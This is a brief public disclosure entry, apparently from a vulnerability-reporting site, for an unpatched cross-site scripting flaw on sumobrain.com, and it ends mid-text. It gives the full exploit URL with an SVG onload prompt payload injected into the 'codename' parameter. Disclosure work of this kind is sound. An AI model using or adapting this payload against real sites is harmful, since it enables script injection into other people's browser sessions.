sumobrain.com XSS vulnerability

Vulnerable URL: http://www.sumobrain.com/PopupHelp/PopupHelp.html?codename=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3Eid=acnid=1table=CODE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...